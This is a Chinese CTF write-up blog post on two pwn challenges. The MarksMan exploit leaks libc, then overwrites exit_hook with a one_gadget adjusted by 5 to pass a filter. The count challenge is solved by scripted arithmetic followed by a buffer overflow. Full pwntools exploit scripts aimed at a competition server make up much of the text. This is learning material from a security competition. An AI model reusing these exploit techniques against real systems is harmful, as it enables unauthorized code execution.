登录后台

页面导航

本文编写于 259 天前,最后修改于 86 天前,其中某些信息可能已经过时。

题目已经在BUUOJ复现

MarksMan

刚开始会泄露puts函数的地址,可以算出libc的基址

程序可以向libc上写入三个字节,看到这里思路就有了

要想办法改变某个函数指针为onegadget,我第一想法是vtable,但是2.27的环境有check

https://www.jianshu.com/p/f54f48ce2695

想到了上面链接里的这道题,这道题是写5个字节,对比了一下刚好思路三符合我们的pwn题

http://www.starssgo.top/2020/04/13/exit-hook%E6%94%BB%E5%87%BB/

然后找到了这位师傅的exit_hook方法,但尝试的途中又遇到了问题:可以用的onegadget被过滤了

在H4lo师傅指点下将onegadget减5过了检查

具体原理参考链接里的师傅讲的,很详细

exp:

from pwn import *

if args['REMOTE']:
    p = remote('39.97.210.182', 10055)
else:
    p = process('.all')

p.recvuntil('I placed the target near: ')
leak = int(p.recvn(14), 16)
libc = leak - 0x809c0
success("libc: " + hex(libc))
target = libc + 8511328
onegadget = libc + 0x10a38c-5 # checked

p.sendlineafter('shoot!shoot!', str(target))

log.success('one gadget : ' + hex(onegadget))

value = ['', '', '']
value[0] = int(hex(onegadget)[-2:], 16)
value[1] = int(hex(onegadget)[-4:-2], 16)
value[2] = int(hex(onegadget)[-6:-4], 16)

for i in range(3):
    log.success(hex(value[i]))
    p.sendlineafter("biang!", chr(value[i]))

p.interactive()

总结:get了一个新方法————exit-hook,但做题的时候环境出问题导致偏移计算不对,o(╥﹏╥)o

补充另一种方法:http://taqini.space/2020/04/19/hfctf-pwn-wp/#%E8%A7%A3%E9%A2%98%E6%80%9D%E8%B7%AF

count

这道题刚开始测试发现缺少库,然后发现是arm架构的pwn题,顿时感觉没戏

用ida分析了一下,发现题目是简单的计算。。。。

直接连nc,用脚本几下就跑出来了

from pwn import *
sh = remote('39.97.210.182 ', 40285)
for i in range(200):
    sh.recvuntil('Math: ')
    answer = eval( sh.recvuntil('= ???')[:-5])
    print answer
    sh.recvuntil('answer:')
    sh.sendline(str(answer))
sh.recv()
sh.sendline('a'*0x64+p64(0x12235612))
sh.interactive()